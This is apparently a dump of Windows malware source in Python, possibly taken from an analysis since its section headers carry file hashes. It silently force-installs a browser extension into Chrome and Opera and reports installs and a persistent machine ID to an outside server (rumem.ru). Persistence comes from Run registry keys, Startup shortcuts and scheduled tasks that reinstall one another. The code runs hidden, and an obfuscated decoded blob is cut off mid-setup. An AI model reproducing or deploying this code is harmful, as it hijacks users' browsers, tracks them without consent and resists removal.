is64bit = (i.value != 0)
return is64bit
def getVersion():
import platform, re
return re.search('^(\d+\.\d+)', platform.version()).group(0)
def exOS():
return "Win%s%s"%(getVersion(), '(x64)' if isWin64() else '')
def getUserAgent():
return 'Mozilla/5.0 (Windows NT %s; %srv:47.0) Gecko/20100101 Firefox/47.0'%(getVersion(), 'Win64; x64; ' if isWin64() else '')
def getExParams():
import ctypes
params=ctypes.c_wchar_p(ctypes.windll.kernel32.GetCommandLineW()).value
b="boundary"
p=params.find(b)
if p==-1:
return ''
return params[p+len(b):].strip()
def GATracker(TID, collect='http://www.google-analytics.com/collect?', urlsuffix=''):
from uuid import uuid4
from ctypes import windll
from random import randrange
from locale import getdefaultlocale
tid=TID
ua=getUserAgent()
cid=str(uuid4())
if os.path.isfile("uuid.txt"):
cid=open("uuid.txt").read().strip()
else:
open("uuid.txt", "w").write(cid)
subid=getExParams()
if os.path.isfile("subid.txt"):
subid=open("subid.txt").read().strip()
else:
open("subid.txt", "w").write(subid)
sr="%dx%d"%(windll.user32.GetSystemMetrics(0),windll.user32.GetSystemMetrics(1))
ul, de = getdefaultlocale()
usfx=urlsuffix
cd1=exOS()
def track(url, cd2='', cd3=''):
nonlocal tid, ua, cid, sr, ul, de, usfx, cd1, subid
from urllib.parse import urlencode
from urllib.request import urlopen
values={
'v':1,
't':'pageview',
'tid':tid,
'z':randrange(0,0xffffffff),
'cid':cid,
'ua':ua,
'sr':sr,
'de':de,
'ul':ul,
'dl':usfx+url,
'cd1':cd1,
'cd4':subid
}
if len(cd2)>0:
values['cd2']=cd2
if len(cd3)>0:
values['cd3']=cd3
urlopen(collect+urlencode(values)).read()
return track
is_firstlaunch=not os.path.isfile("uuid.txt")
track = GATracker('', 'http://rumem.ru/collect.php?', '')
def processList():
import ctypes
from sys import stderr
TH32CS_SNAPPROCESS = 0x00000002
class PROCESSENTRY32(ctypes.Structure):
_fields_ = [("dwSize", ctypes.c_ulong),
("cntUsage", ctypes.c_ulong),
("th32ProcessID", ctypes.c_ulong),
("th32DefaultHeapID", ctypes.c_ulong),
("th32ModuleID", ctypes.c_ulong),
("cntThreads", ctypes.c_ulong),
("th32ParentProcessID", ctypes.c_ulong),
("pcPriClassBase", ctypes.c_ulong),
("dwFlags", ctypes.c_ulong),
("szExeFile", ctypes.c_wchar * 260)]
CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot
Process32First = ctypes.windll.kernel32.Process32FirstW
Process32Next = ctypes.windll.kernel32.Process32NextW
CloseHandle = ctypes.windll.kernel32.CloseHandle
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
pe32 = PROCESSENTRY32()
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
if Process32First(hProcessSnap,ctypes.byref(pe32)) == 0:
print("Failed getting first process.", file=stderr)
return
result=[]
while True:
result.append(pe32.szExeFile)
if Process32Next(hProcessSnap,ctypes.byref(pe32)) == 0:
CloseHandle(hProcessSnap)
return result
def processFullPath(pname):
import ctypes
from sys import stderr
TH32CS_SNAPPROCESS = 0x00000002
class PROCESSENTRY32(ctypes.Structure):
_fields_ = [("dwSize", ctypes.c_ulong),
("cntUsage", ctypes.c_ulong),
("th32ProcessID", ctypes.c_ulong),
("th32DefaultHeapID", ctypes.c_ulong),
("th32ModuleID", ctypes.c_ulong),
("cntThreads", ctypes.c_ulong),
("th32ParentProcessID", ctypes.c_ulong),
("pcPriClassBase", ctypes.c_ulong),
("dwFlags", ctypes.c_ulong),
("szExeFile", ctypes.c_wchar * 260)]
CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot
Process32First = ctypes.windll.kernel32.Process32FirstW
Process32Next = ctypes.windll.kernel32.Process32NextW
CloseHandle = ctypes.windll.kernel32.CloseHandle
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
pe32 = PROCESSENTRY32()
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
if Process32First(hProcessSnap,ctypes.byref(pe32)) == 0:
print("Failed getting first process.", file=stderr)
return
result=[]
while True:
if pe32.szExeFile==pname:
result.append(getPath(pe32.th32ProcessID))
if Process32Next(hProcessSnap,ctypes.byref(pe32)) == 0:
CloseHandle(hProcessSnap)
return result
def fileInfo(filename, info, locale='040904B0'):
from ctypes import windll, c_buffer, c_uint, byref, string_at
L=lambda s: s.encode('utf-16-le') + b'\0\0'
wfilename = L(filename)
size = windll.version.GetFileVersionInfoSizeW(wfilename, None)
if not size:
return ''
res = c_buffer(size*2)
windll.version.GetFileVersionInfoW(wfilename, None, size, res)
r = c_uint()
l = c_uint()
# windll.version.VerQueryValueW(res, L('\\VarFileInfo\\Translation'), byref(r), byref(l))
# if not l.value:
# return ''
# cp=string_at(r.value, 4)
# windll.version.VerQueryValueW(res, L('\\StringFileInfo\\%02X%02X%02X%02X\\%s' % (cp[1], cp[0], cp[3], cp[2], info)), byref(r), byref(l))
windll.version.VerQueryValueW(res, L('\\StringFileInfo\\%s\\%s' % (locale, info)), byref(r), byref(l))
return string_at(r.value, l.value*2).decode('utf-16-le')
def getPath(procId):
import ctypes
OpenProcess = ctypes.windll.kernel32.OpenProcess
GetModuleFileNameEx = ctypes.windll.psapi.GetModuleFileNameExW
CloseHandle = ctypes.windll.kernel32.CloseHandle
procHandle = OpenProcess(0x0410, 0, procId)
pathMaxLength = 2048
path = (ctypes.c_wchar * pathMaxLength)()
while True:
ret = GetModuleFileNameEx(procHandle, 0, ctypes.byref(path), pathMaxLength)
if ret == 0:
return None
path = path.value
if len(path) < (pathMaxLength - 1):
CloseHandle(procHandle)
return path
pathMaxLength *= 2
path = (ctypes.c_wchar * pathMaxLength)()
class Browser:
def __init__(self, process):
self.process = process
self.profiles =[]
self.version="unknown"
self.version2="unknown"
try:
self.version2=fileInfo(processFullPath(process)[0], "ProductVersion")
except:
pass
out=readOutput(r'%s version "%s"' % (cmdPrefix, self.process))
if len(out)>0:
self.version=out
out=readOutput(r'%s listprofiles "%s"' % (cmdPrefix, self.process))
if len(out)>0:
self.profiles =out.split(",")
def btrack(self, path):
track('/'+self.process+path, self.version, self.version2)
def installExt(self, ext):
readOutput(r'%s install "%s" "%s" "%s"'%(cmdPrefix, self.process, ext, hash1))
def checkInstalled(self, id):
if len(self.profiles)==0:
return False
p = "Default" if "Default" in self.profiles else self.profiles[0]
t=readOutput(r'%s check "%s" "%s" "%s"' %(cmdPrefix, self.process, id, p))
if (t.find("enabled")>-1)or(t.find("disabled")>-1):
return True
return False
#processes=['chrome.exe', 'opera.exe', 'amigo.exe', 'browser.exe']
processes=['chrome.exe', 'opera.exe', 'browser.exe']
processesInstalled=set()
processesInstallTries=set()
timeoutInstall=600
timeoutCheck=60
timers = {}
tryesToInstall={}
maxTryesToInstall=1
for p in processes:
timers[p]=0.0
def sendPostback(tryes=20):
if tryes<=0:
return
if len(opts.pb)==0:
return
import urllib.request
try:
urllib.request.urlopen(opts.pb).read()
except:
time.sleep(20)
sendPostback(tryes-1)
plid = open("id.txt").read().strip()
hash1 = open("hash.txt").read().strip()
postbackSent=False
def FastInstall(plid, ext):
global postbackSent, processesInstalled, processesInstallTries
tm=time.time()
for p in processes:
# if p in processesInstalled:
# continue
if not(p in processList()):
continue
if tm-timers[p]<timeoutInstall:
continue
tryesToInstall[p]=tryesToInstall[p]+1 if (p in tryesToInstall) else 1
if tryesToInstall[p]>maxTryesToInstall:
continue
timers[p]=tm
br = Browser(p)
if br.version=="unknown":
br.btrack('/error/unknownversion')
br.btrack('/track/watchprofiles')
if len(br.profiles)==0:
br.btrack('/error/zeroprofiles')
continue
ci=False
if br.checkInstalled(plid):
if p in processesInstallTries:
ci=True
else:
br.btrack('/hint/alreadyinstalled')
processesInstalled.add(p)
continue
if not ci:
br.btrack('/track/checkinstalled')
processesInstallTries.add(p)
br.installExt(ext)
br.btrack('/track/launchinstall')
for i in range(0,15):
time.sleep(10)
ci = ci or br.checkInstalled(plid)
if ci:
break
if ci:
br.btrack('/hint/installOK')
processesInstalled.add(p)
if not postbackSent:
sendPostback()
CreateRegFolder(plid)
track('/gen/track/postbacksent')
postbackSent=True
else:
br.btrack('/hint/installNOTOK')
def CreateRegFolder(plid):
try:
key=winreg.CreateKey(winreg.HKEY_CURRENT_USER, r'Software\Chrome\Extensions\%s'%plid)
winreg.CloseKey(key)
except:
pass
run_async('python\\pythonw.exe app.py')
if is_firstlaunch:
track('/gen/hint/firstlaunch')
track('/gen/track/launch')
if readOutput(r"%s help"%cmdPrefix).find("browser extension management tool")>-1:
track('/gen/hint/binaryOK')
else:
track('/gen/hint/binaryNOTOK')
t=time.time()
while True:
FastInstall(plid, plid+".crx")
time.sleep(timeoutCheck)
track('/gen/track/exit')
## contents of ml.py (ea1592749a041b09b170012763edf332575fb8a069d6cfa1588ff52b8a6cfbce)
runArgs="\"$WORKDIR\\ml.py\""
runArgs2="\"$WORKDIR\\updater.py\""
launchArgs="\"$WORKDIR\\launchall.py\""
tasksheuldertpl="""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
<UserId>$UID</UserId>
</LogonTrigger>
</Triggers>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<RestartOnFailure>
<Interval>PT1M</Interval>
<Count>3</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<Exec>
<Command>$RUNCMD</Command>
<Arguments>$RUNARGS</Arguments>
<WorkingDirectory>$WORKDIR</WorkingDirectory>
</Exec>
</Actions>
</Task>"""
tasksheuldertpl2="""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>2016-04-20T05:00:00</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT1H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>$RUNCMD</Command>
<Arguments>$RUNARGS</Arguments>
<WorkingDirectory>$WORKDIR</WorkingDirectory>
</Exec>
</Actions>
</Task>"""
import winreg, os, subprocess, sys
from optparse import OptionParser
from urllib.request import urlopen
parser = OptionParser()
parser.add_option('--APPNAME', dest='APPNAME', default="filter")
parser.add_option('--ACTION', dest='ACTION', default="default")
opts, args = parser.parse_args()
workDir=os.path.abspath(os.path.dirname(sys.argv[0]))
os.chdir(workDir)
runArgs=runArgs.replace("$WORKDIR", workDir)
runArgs2=runArgs2.replace("$WORKDIR", workDir)
launchArgs=launchArgs.replace("$WORKDIR", workDir)
runCmd=workDir+r"\python\pythonw.exe"
runArgs = "%s --APPNAME=\"%s\""%(runArgs, opts.APPNAME)
runFullCmd = "\"%s\" %s"%(runCmd, runArgs) if len(runArgs)>0 else runCmd
token=opts.APPNAME
launchCmd="\"%s\" %s"%(runCmd, launchArgs)
def run_silent(s):
try:
CREATE_NO_WINDOW = 0x08000000
subprocess.call(s, creationflags=CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
except:
pass
def readOutput(s):
from subprocess import Popen, PIPE, STDOUT
CREATE_NO_WINDOW = 0x08000000
try:
p = Popen(s, creationflags=CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP, stderr=PIPE, stdout=PIPE, stdin=PIPE)
res=p.stdout.read().decode("utf8").strip(' \t\n\r')
p.stderr.read()
p.communicate()
return res
except:
return ""
def chkTask():
import subprocess
try:
CREATE_NO_WINDOW = 0x08000000
r=subprocess.call("schtasks /query /tn \"%s\""%token, creationflags=CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
return r==0
except:
return False
def delTask():
import subprocess
try:
CREATE_NO_WINDOW = 0x08000000
subprocess.call("schtasks /delete /tn \"%s\" /f"%token, creationflags=CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
except:
pass
def delTask2():
import subprocess
try:
CREATE_NO_WINDOW = 0x08000000
subprocess.call("schtasks /delete /tn \"%s2\" /f"%token, creationflags=CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
except:
pass
def setTask():
import subprocess, tempfile, os
txt=tasksheuldertpl.replace("$RUNCMD", runCmd).replace("$RUNARGS", runArgs).replace("$WORKDIR", workDir).replace("$UID", getUID())
fp=tempfile.NamedTemporaryFile(delete=False)
fname=fp.name
fp.write(txt.encode("utf16"))
CREATE_NO_WINDOW = 0x08000000
fp.close()
try:
subprocess.call("cmd /c schtasks /create /f /tn \"%s\" /xml \"%s\""%(token, fname), creationflags=CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
except:
pass
os.unlink(fname)
def setTask2():
import subprocess, tempfile, os
txt=tasksheuldertpl2.replace("$RUNCMD", runCmd).replace("$RUNARGS", runArgs2).replace("$WORKDIR", workDir).replace("$UID", getUID())
fp=tempfile.NamedTemporaryFile(delete=False)
fname=fp.name
fp.write(txt.encode("utf16"))
CREATE_NO_WINDOW = 0x08000000
fp.close()
try:
subprocess.call("cmd /c schtasks /create /f /tn \"%s2\" /xml \"%s\""%(token, fname), creationflags=CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)
except:
pass
os.unlink(fname)
def getStartupDir():
key=winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders")
res=winreg.QueryValueEx(key, "Startup")
return res[0]
def chkRegRun():
try:
key=winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run")
cmd=winreg.QueryValueEx(key, token)[0]
winreg.CloseKey(key)
if cmd!=runFullCmd:
return False
return True
except:
return False
def delRegRun():
try:
key=winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", access=winreg.KEY_WRITE)
winreg.DeleteValue(key, token)
winreg.CloseKey(key)
except:
pass
def setRegRun():
try:
key=winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", access=winreg.KEY_WRITE)
winreg.SetValueEx(key, token, 0, winreg.REG_SZ, runFullCmd)
winreg.CloseKey(key)
except:
pass
def chkStartUpLnk():
try:
lnkname="%s.lnk" % token
startupdir=getStartupDir()
lnkfullpath="%s\\%s" % (startupdir, lnkname)
return os.path.isfile(lnkfullpath)
except:
return False
def delStartUpLnk():
try:
lnkname="%s.lnk" % token
startupdir=getStartupDir()
lnkfullpath="%s\\%s" % (startupdir, lnkname)
if os.path.isfile(lnkfullpath):
os.unlink(lnkfullpath)
except:
pass
def setStartUpLnk():
try:
from comtypes.client import CreateObject
from comtypes.gen import IWshRuntimeLibrary
ws = CreateObject("WScript.Shell")
lnkname="%s.lnk" % token
startupdir=getStartupDir()
lnkfullpath="%s\\%s" % (startupdir, lnkname)
shortcut = ws.CreateShortcut(lnkfullpath).QueryInterface(IWshRuntimeLibrary.IWshShortcut)
shortcut.TargetPath=runCmd
shortcut.Arguments=runArgs
shortcut.WorkingDirectory=workDir
shortcut.Save()
except:
pass
def getUID():
import ctypes
GetUserNameEx = ctypes.windll.secur32.GetUserNameExW
NameDisplay = 2
size = ctypes.c_ulong(0)
GetUserNameEx(NameDisplay, None, ctypes.byref(size))
nameBuffer = ctypes.create_unicode_buffer(size.value)
GetUserNameEx(NameDisplay, nameBuffer, ctypes.byref(size))
return nameBuffer.value
def parseTime(s):
try:
return float(s)
except:
return 0.0
def main():
from math import ceil
from random import shuffle
from sys import argv
from time import time
checkers=[chkStartUpLnk, chkRegRun, chkTask]
deleters=[delStartUpLnk, delRegRun, delTask]
healers=[setStartUpLnk, setRegRun, setTask]
if opts.ACTION=="default":
tm=0.0
if os.path.isfile('time.txt'):
f=open('time.txt')
tm=parseTime(f.read())
f.close()
f=open('time.txt', 'w')
f.write(str(time()))
f.close()
if time()-tm<60.0:
return
subprocess.Popen(launchCmd, creationflags=subprocess.CREATE_NEW_PROCESS_GROUP)
toHeal=[]
for i in range(0, len(checkers)):
if not checkers[i]():
toHeal.append(healers[i])
shuffle(toHeal)
nWorked = len(checkers)-len(toHeal)
minWorked=ceil(len(checkers)*0.5)
nHeal=max(minWorked-nWorked, 0)
for j in range(0, nHeal):
toHeal[j]()
return
if opts.ACTION=="install":
for h in healers:
h()
setTask2()
return
if opts.ACTION=="uninstall":
for d in deleters:
d()
delTask2()
return
main()
## contents of brplugin decoded blob (fe144593780068bc00de88adfc183759a13da547b9c14e9dc0e93ef12e68a354)
import os
jvpMF=RuntimeError
jvpMP=None
jvpMg=range
jvpMB=hasattr
jvpMi=open
jvpMX=len
jvpKM=True
jvpMf=os.path
import sys
jvpMI=sys.argv
import zlib
jvpMm=zlib.decompress
import base64
jvpMR=base64.b64decode
import pickle
jvpMN=pickle.loads
from ctypes import*
ntdll=windll.ntdll
kernel32=windll.kernel32
gdi32=windll.gdi32
user32=windll.user32
BYTE=c_ubyte
WORD=c_ushort
DWORD=c_ulong
LONG=c_long
UINT=c_uint
SIZE_T=c_size_t
HANDLE=c_size_t
WNDPROC=WINFUNCTYPE(c_size_t,HANDLE,UINT,SIZE_T,SIZE_T)
def jvpMw(ptr,typ):
return cast(ptr,POINTER(typ)).contents.value
def jvpMl(ptr):
return jvpMw(ptr,c_ubyte)
def jvpMD(ptr):
return jvpMw(ptr,c_ushort)
def jvpMd(ptr):
return jvpMw(ptr,c_uint)
def jvpMr(ptr):
return jvpMw(ptr,c_size_t)
def jvpMY(ptr,typ,val):
memmove(ptr,addressof(typ(val)),sizeof(typ))
def jvpMe(ptr,val):
jvpMY(ptr,c_ubyte,val)
def jvpMH(ptr,val):
jvpMY(ptr,c_ushort,val)
def jvpMh(ptr,val):
jvpMY(ptr,c_uint,val)
def jvpME(ptr,val):
jvpMY(ptr,c_size_t,val)
def jvpMU(msg):
raise jvpMF(msg)
def jvpMW():
jvpMU('Internal Error!')
PFD_TYPE_RGBA =0
PFD_TYPE_COLORINDEX =1
PFD_MAIN_PLANE =0
PFD_OVERLAY_PLANE =1
PFD_UNDERLAY_PLANE =-1
PFD_DOUBLEBUFFER =0x00000001
PFD_STEREO =0x00000002
PFD_DRAW_TO_WINDOW =0x00000004
PFD_DRAW_TO_BITMAP =0x00000008
PFD_SUPPORT_GDI =0x00000010
PFD_SUPPORT_OPENGL =0x00000020
PFD_GENERIC_FORMAT =0x00000040
PFD_NEED_PALETTE =0x00000080
PFD_NEED_SYSTEM_PALETTE =0x00000100
PFD_SWAP_EXCHANGE =0x00000200
PFD_SWAP_COPY =0x00000400
PFD_SWAP_LAYER_BUFFERS =0x00000800
PFD_GENERIC_ACCELERATED =0x00001000
PFD_SUPPORT_DIRECTDRAW =0x00002000
PFD_DIRECT3D_ACCELERATED =0x00004000
PFD_SUPPORT_COMPOSITION =0x00008000
PFD_DEPTH_DONTCARE =0x20000000
PFD_DOUBLEBUFFER_DONTCARE =0x40000000
PFD_STEREO_DONTCARE =0x80000000
GL_POINTS =0x0000
GL_LINES =0x0001
GL_LINE_LOOP =0x0002
GL_LINE_STRIP =0x0003
GL_TRIANGLES =0x0004
GL_TRIANGLE_STRIP =0x0005
GL_TRIANGLE_FAN =0x0006
GL_QUADS =0x0007
GL_QUAD_STRIP =0x0008
GL_POLYGON =0x0009
GL_NONE =0
GL_FRONT_LEFT =0x0400
GL_FRONT_RIGHT =0x0401
GL_BACK_LEFT =0x0402
GL_BACK_RIGHT =0x0403
GL_FRONT =0x0404
GL_BACK =0x0405
GL_LEFT =0x0406
GL_RIGHT =0x0407
GL_FRONT_AND_BACK =0x0408
GL_AUX0 =0x0409
GL_AUX1 =0x040A
GL_AUX2 =0x040B
GL_AUX3 =0x040C
GL_CULL_FACE =0x0B44
GL_LIGHTING =0x0B50
GL_COLOR_MATERIAL =0x0B57
GL_DEPTH_TEST =0x0B71
GL_DITHER =0x0BD0
GL_COLOR_LOGIC_OP =0x0BF2
GL_TEXTURE_2D =0x0DE1
GL_INDEX_LOGIC_OP =0x0BF1
GL_POINT_SMOOTH_HINT =0x0C51
GL_LINE_SMOOTH_HINT =0x0C52
GL_POLYGON_SMOOTH_HINT =0x0C53
GL_DONT_CARE =0x1100
GL_FASTEST =0x1101
GL_NICEST =0x1102
GL_COMPILE =0x1300
GL_COMPILE_AND_EXECUTE =0x1301
GL_BYTE =0x1400
GL_UNSIGNED_BYTE =0x1401
GL_SHORT =0x1402
GL_UNSIGNED_SHORT =0x1403
GL_INT =0x1404
GL_UNSIGNED_INT =0x1405
GL_FLOAT =0x1406
GL_2_BYTES =0x1407
GL_3_BYTES =0x1408
GL_4_BYTES =0x1409
GL_DOUBLE =0x140A
GL_CLEAR =0x1500
GL_AND =0x1501
GL_AND_REVERSE =0x1502
GL_COPY =0x1503
GL_AND_INVERTED =0x1504
GL_NOOP =0x1505
GL_XOR =0x1506
GL_OR =0x1507
GL_NOR =0x1508
GL_EQUIV =0x1509
GL_INVERT =0x150A
GL_OR_REVERSE =0x150B
GL_COPY_INVERTED =0x150C
GL_OR_INVERTED =0x150D
GL_NAND =0x150E
GL_SET =0x150F
GL_COLOR_INDEX =0x1900
GL_STENCIL_INDEX =0x1901
GL_DEPTH_COMPONENT =0x1902
GL_RED =0x1903
GL_GREEN =0x1904
GL_BLUE =0x1905
GL_ALPHA =0x1906
GL_RGB =0x1907
GL_RGBA =0x1908
GL_LUMINANCE =0x1909
GL_LUMINANCE_ALPHA =0x190A
GL_POINT =0x1B00
GL_LINE =0x1B01
GL_FILL =0x1B02
GL_FLAT =0x1D00
GL_SMOOTH =0x1D01
GL_TEXTURE_MAG_FILTER =0x2800
GL_TEXTURE_MIN_FILTER =0x2801
GL_TEXTURE_WRAP_S =0x2802
GL_TEXTURE_WRAP_T =0x2803
GL_NEAREST =0x2600
GL_LINEAR =0x2601
GL_CLAMP =0x2900
GL_REPEAT =0x2901
GL_MIRRORED_REPEAT =0x8370
GL_R3_G3_B2 =0x2A10
GL_RGB4 =0x804F
GL_RGB5 =0x8050
GL_RGB8 =0x8051
GL_RGB10 =0x8052
GL_RGB12 =0x8053
GL_RGB16 =0x8054
GL_RGBA2 =0x8055
GL_RGBA4 =0x8056
GL_RGB5_A1 =0x8057
GL_RGBA8 =0x8058
GL_RGB10_A2 =0x8059
GL_RGBA12 =0x805A
GL_RGBA16 =0x805B
GL_VERTEX_ARRAY =0x8074
GL_NORMAL_ARRAY =0x8075
GL_COLOR_ARRAY =0x8076
GL_INDEX_ARRAY =0x8077
GL_TEXTURE_COORD_ARRAY =0x8078
GL_EDGE_FLAG_ARRAY =0x8079
GL_READ_FRAMEBUFFER =0x8CA8
GL_DRAW_FRAMEBUFFER =0x8CA9
GL_FRAMEBUFFER =0x8D40
GL_RENDERBUFFER =0x8D41
GL_RGBA4 =0x8056
GL_RGB5_A1 =0x8057
GL_RGB565 =0x8D62
GL_DEPTH_COMPONENT16 =0x81A5
GL_STENCIL_INDEX8 =0x8D48
GL_RENDERBUFFER_WIDTH =0x8D42
GL_RENDERBUFFER_HEIGHT =0x8D43
GL_RENDERBUFFER_INTERNAL_FORMAT =0x8D44
GL_RENDERBUFFER_RED_SIZE =0x8D50
GL_RENDERBUFFER_GREEN_SIZE =0x8D51
GL_RENDERBUFFER_BLUE_SIZE =0x8D52
GL_RENDERBUFFER_ALPHA_SIZE =0x8D53
GL_RENDERBUFFER_DEPTH_SIZE =0x8D54
GL_RENDERBUFFER_STENCIL_SIZE =0x8D55
GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE =0x8CD0
GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME =0x8CD1
GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL =0x8CD2
GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE =0x8CD3
GL_COLOR_ATTACHMENT0 =0x8CE0
GL_DEPTH_ATTACHMENT =0x8D00
GL_STENCIL_ATTACHMENT =0x8D20
GL_CURRENT_BIT =0x00000001
GL_POINT_BIT =0x00000002
GL_LINE_BIT =0x00000004
GL_POLYGON_BIT =0x00000008
GL_POLYGON_STIPPLE_BIT =0x00000010
GL_PIXEL_MODE_BIT =0x00000020
GL_LIGHTING_BIT =0x00000040
GL_FOG_BIT =0x00000080
GL_DEPTH_BUFFER_BIT =0x00000100
GL_ACCUM_BUFFER_BIT =0x00000200
GL_STENCIL_BUFFER_BIT =0x00000400
GL_VIEWPORT_BIT =0x00000800
GL_TRANSFORM_BIT =0x00001000
GL_ENABLE_BIT =0x00002000
GL_COLOR_BUFFER_BIT =0x00004000
GL_HINT_BIT =0x00008000
GL_EVAL_BIT =0x00010000
GL_LIST_BIT =0x00020000
GL_TEXTURE_BIT =0x00040000
GL_SCISSOR_BIT =0x00080000
GL_ALL_ATTRIB_BITS =0x000fffff
class jvpMK(Structure):
_fields_=[('cbSize',UINT),('style',UINT),('lpfnWndProc',WNDPROC),('cbClsExtra',c_int),('cbWndExtra',c_int),('hInstance',HANDLE),('hIcon',HANDLE),('hCursor',HANDLE),('hbrBackground',HANDLE),('lpszMenuName',c_char_p),('lpszClassName',c_char_p),('hIconSm',HANDLE),]
class jvpMG(Structure):
_fields_=[('nSize',WORD),('nVersion',WORD),('dwFlags',DWORD),('iPixelType',BYTE),('cColorBits',BYTE),('cRedBits',BYTE),('cRedShift',BYTE),('cGreenBits',BYTE),('cGreenShift',BYTE),('cBlueBits',BYTE),('cBlueShift',BYTE),('cAlphaBits',BYTE),('cAlphaShift',BYTE),('cAccumBits',BYTE),('cAccumRedBits',BYTE),('cAccumGreenBits',BYTE),('cAccumBlueBits',BYTE),('cAccumAlphaBits',BYTE),('cDepthBits',BYTE),('cStencilBits',BYTE),('cAuxBuffers',BYTE),('iLayerType',BYTE),('bReserved',BYTE),('dwLayerMask',DWORD),('dwVisibleMask',DWORD),('dwDamageMask',DWORD),]
gl=windll.opengl32
gl_wnd=jvpMP
gl_dc=jvpMP
gl_rc=jvpMP
gl_fb=jvpMP
gl_tex=[jvpMP,jvpMP,jvpMP,jvpMP]
gl_list=jvpMP
def jvpMc(vb,num_display_lists):
global gl_wnd,gl_dc,gl_rc,gl_fb,gl_tex,gl_list
wnd_cls=jvpMK()
wnd_cls.cbSize=sizeof(jvpMK)
wnd_cls.lpfnWndProc=WNDPROC(cast(user32.DefWindowProcA,c_void_p).value)
wnd_cls.lpszClassName=b'OpenGL'
user32.RegisterClassExA.restype=c_ushort
user32.RegisterClassExA.argtypes=[POINTER(jvpMK)]
wnd_atom=user32.RegisterClassExA(pointer(wnd_cls))
if wnd_atom==0:
jvpMU('Failure registering window class: 0x%08X'%GetLastError())
gl_wnd=user32.CreateWindowExA(0,wnd_atom,0,0,0,0,64,256,0,0,0,0)
if gl_wnd==0:
jvpMU('Failure creating window: 0x%08X'%GetLastError())
gl_dc=user32.GetDC(gl_wnd)
if gl_dc==0:
jvpMU('Failed to get window device context')
pfd=jvpMG()
pfd.nSize=sizeof(pfd)
pfd.nVersion=1
pfd.dwFlags=PFD_DRAW_TO_WINDOW|PFD_SUPPORT_OPENGL|PFD_DOUBLEBUFFER
pfd.cColorBits=24
pf=gdi32.ChoosePixelFormat(gl_dc,byref(pfd));
if pf==0:
jvpMU('Failed to choose pixel format')
if not gdi32.SetPixelFormat(gl_dc,pf,byref(pfd)):
jvpMU('Failed to set pixel format')
gl_rc=gl.wglCreateContext(gl_dc);
if gl_rc==0:
jvpMU('Failure creating window')
gl.wglMakeCurrent(gl_dc,gl_rc);
gl.glVertex2f.argtypes=[c_float,c_float]
gl.glTexCoord2f.argtypes=[c_float,c_float]
gl.glColor3f.argtypes=[c_float,c_float,c_float]
gl.glClearColor.argtypes=[c_float,c_float,c_float,c_float]
for i in jvpMg(0,4):
tex=c_uint()
gl.glGenTextures(1,byref(tex))
gl_tex[i]=tex.value
gl.glBindTexture(GL_TEXTURE_2D,gl_tex[i])
gl.glTexParameteri(GL_TEXTURE_2D,GL_TEXTURE_MAG_FILTER,GL_NEAREST);
